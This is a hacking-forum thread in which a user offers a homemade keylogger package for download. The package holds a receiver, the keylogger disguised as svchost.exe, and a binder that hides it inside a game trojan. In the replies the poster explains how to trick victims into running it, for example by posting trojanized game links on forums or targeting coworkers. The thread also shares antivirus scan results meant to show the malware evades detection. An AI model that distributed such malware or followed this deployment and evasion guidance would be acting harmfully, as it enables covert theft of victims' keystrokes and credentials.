Remember that keylogger I made? Remember how it was tied to my IP address? Well now I finally fixed it up so ANYONE can use it by setting it up for their IP address and a port of their choosing. It comes complete with a text file explaining EXACTLY how to use it.
The receiver for the keylogger even has the ability to stop the keylogger running on the victim's computer (will start again on next computer boot), or even completely uninstall it from the victim's computer (remove both the autorun registry entry and the keylogger's own exe file). But be careful, clicking either the stop or uninstall buttons are IRREVERSIBLE actions, and there is NOT a message box that pops up to ask if you really wanted to do that. So be careful what you click on, and only click on EXACTLY what you want. Though in future versions of my key log receiver, I may put in just such message boxes with yes/no or ok/cancel options to make such accidents more difficult.
As I have JUST made it (and completely on my own, not based on another existing keylogger), NONE of the AV software out there will find it.
I've uploaded the complete package (everything you'll need to make it work, including the instructions text file) to #, which unfortunately only allows 10 downloads or 60 days of no downloads before it's removed. Link here:
http://#.com/files/344093047/Kool_Keylogger.rar.html
I've also uploaded it to Megaupload which luckily has only an idle time limit (I believe like 20 days since last download, so to keep it alive, someone PLEASE download it).
Link here:
http://www.#/?d=A3JSJ9HZ
Password: (This RAR archive is NOT password protected)
MD5 Hash (for integrity check) here:
C32B674409C65CE36773D6838EF4E09B
Just register for a free account at #.....
Free account would bump it to 90 days, but not infinite days.
Let me ask a question (so I can track the distribution of how many hackers like using my keylogger). Have you downloaded it yet. Anybody who downloads it, please leave a reply to this thread so I can know if you downloaded it. If you use it, please tell me how well you liked it, and how effective it was at keylogging your victims.
It does log keys. It just isn't detectable by any AV software (and hopefully won't be for a long time).
ill try this one and post some feedbacks.
ROFL,Not even any virus scans dude LOL.
Seems good. Will be putting It to the test.
Many thanks :)
(Feb 4, 2010 09:46 PM)TheBlackHat Wrote: ROFL,Not even any virus scans dude LOL.
I MADE IT MYSELF in VB6! This was the first time it EVER has seen daylight off of my computer! There is no way that any virus scanner would recognise it. Even if there was, I don't know the URLs of any of those multi-AV-software scanner sites.
downloading... wow 18 Mb xD
edit: its come with binder thx you will test this now
cheeers gonna give this a spin now
(Feb 6, 2010 01:02 AM)Pucca Wrote: downloading... wow 18 Mb xD
edit: its come with binder thx you will test this now
The stub which is the game file + other trojan code that is bound by to the keylogger by the binder is the large file. You'll see that stub.exe is 18MB.
One important note. Just running the keylogger's exe file will NOT add it to the registry for autostarting. To do that, it MUST be launched from a trojan (containing the game, the keylogger, and the code to add a reg entry). The trojan is created as the output file from the binder.
hi Videogamer555,
i followed all your steps and it is not working.
i wanted to test on my computer but there is this message when i run keyloggerreceiver: 'composant mswinsck.ocx' is not correctly recorded.one file missing
when i run the trojan there is also error: "execution error'75' error in access path.
can you help???
What do you mean in your instruction by " use your external IP adress"?
where shall we download program? i tried to run it on USB key.
Thanks for everything
vils
dalgamı geciyon sen bizle bu ne bicim paylasım
(Feb 6, 2010 05:16 AM)vils Wrote: hi Videogamer555,
i followed all your steps and it is not working.
i wanted to test on my computer but there is this message when i run keyloggerreceiver: 'composant mswinsck.ocx' is not correctly recorded.one file missing Hmm. Well I thought MSwinsock was part of Windows XP normally (the file mswinsck.ocx should be in your Windows System32 directory). I know it gets installed with VB6, but I believe it is usually part of Windows. It is the component my program uses to make an online connection. Suffice to say, both computers (yours and the victims) must have this on their system, or it won't work. Period. I can't fix that. What version of Windows are you using. If 7 or Vista, it probably doesn't have it. XP has it I believe. Below XP probably has it, but below XP also is missing several required VB6 runtime files. Basically your best hope is that your victim has Windows XP EXACTLY (no Windows version before or after XP probably will work, unless your victim also has VB6 installed). Currently BOTH of my XP computers have VB6 installed, so I can't test it on an XP computer without VB6. Sorry.
(Feb 6, 2010 05:16 AM)vils Wrote: when i run the trojan there is also error: "execution error'75' error in access path.
can you help??? You must be doing something wrong, as I never got this error.
(Feb 6, 2010 05:16 AM)vils Wrote: What do you mean in your instruction by " use your external IP adress"? I mean I assume you want to keylog someone else (who probably is NOT on your LAN), so you need your "external" IP address (a.k.a. WAN IP address, a.k.a. internet IP address). Of course if you are just trying to keylog someone at your job, and receive it from another computer at the office (both on the same local network) then you can use your "internal" IP address (a.k.a. LAN IP address, a.k.a. local IP address). And if you want to test it on your OWN computer, then just put in the loopback IP address (127.0.0.1).
(Feb 6, 2010 05:16 AM)vils Wrote: where shall we download program? i tried to run it on USB key. Download it from one of the 2 links I used. As for running it, you don't need to sneak it onto someone's computer with a USB drive. You just need to make the completed trojan (made from running the binder on the keylogger) available to a victim (upload it to megaupload or something), then post the download link on a video game forums site. Then run the keylog receiver on your computer, and wait for it to say "connected" (as the victim's computer connects to yours over the internet) as it inevitably will, as there is always someone who will be dumb enough to trust random game links posted.
(Feb 6, 2010 05:16 AM)vils Wrote: Thanks for everything
vils You're welcome.
I finally found a multi AV scan site (found the link on another page on these forums), called scanner.novirusthanks.org. So I now can finally get arround to posting the AV scans. I wanted to edit this into my opening post, but the admin blocked editing posts after a period of time. So well, I'm stuck posting them as a separate post. Here are the reports.
KeyLogReceiver.exe AV report:
a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - Gen:Application.Keylog.bm0@aiMPNKbi
ClamAV - -
Comodo - -
Dr.Web - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 - -
Panda - -
Solo Antivirus - -
Sophos - Mal/VB-G
TrendMicro - -
VBA32 - -
VirusBuster - -
I'm surprised that this completely NEW program (made it myself and didn't see the light of day off of my own computer until I posted it here yesterday) is actually similar enough to known malware that it actually triggered a detection on not just one, but TWO different AV scanners. What gives? This isn't even a keylogger, just the receiver for the keylogger data.
Well on to the next AV report.
This is the AV report for the keylogger svchost.exe:
a-squared - -
Avira AntiVir - TR/Crypt.FKM.Gen
Avast - -
AVG - -
BitDefender - Generic.Malware.SL!!!.23E24055
ClamAV - -
Comodo - -
Dr.Web - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 - -
Panda - -
Solo Antivirus - -
Sophos - Mal/VB-G
TrendMicro - -
VBA32 - -
VirusBuster - -
This is the AV report for Binder.exe:
a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - Gen:Trojan.Heur.bm0@fbHg3gbi
ClamAV - -
Comodo - -
Dr.Web - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 - -
Panda - -
Solo Antivirus - -
Sophos - Mal/VB-F
TrendMicro - -
VBA32 - -
VirusBuster - -
This is the AV report for stub.exe:
Error: File size is too big (limit of 20 MB)
WHAT THE...! It is EXACTLY 19.3MB, NOT over 20MB. WHAT GIVES!?
Ok, I'm switching to Virustotal.com (just hope it dosesn't automatically distribute it, where as novirusthanks had the option to NOT distribute, Virustotal.com doesn't say one way or the other).
Well here's the multi AV report for stub.exe from Virustotal.com:
a-squared - Trojan.Win32.Antavmu!IK
AhnLab-V3 - -
AntiVir - -
Antiy-AVL - -
Authentium - -
Avast - -
AVG - -
BitDefender - -
CAT-QuickHeal - -
ClamAV - -
Comodo - -
DrWeb - -
eSafe - -
eTrust-Vet - -
F-Prot - -
F-Secure - -
Fortinet - -
GData - -
Ikarus - Trojan.Win32.Antavmu
Jiangmin - -
K7AntiVirus - -
Kaspersky - -
McAfee - -
McAfee+Artemis -
McAfee-GW-Edition - -
Microsoft - Trojan:Win32/Vhorse.FG
NOD32 - -
Norman - -
nProtect - -
Panda - -
PCTools - -
Prevx - -
Rising - -
Sophos - Mal/VB-F
Sunbelt - -
TheHacker - -
TrendMicro - -
VBA32 - -
ViRobot - -
VirusBuster - -
|
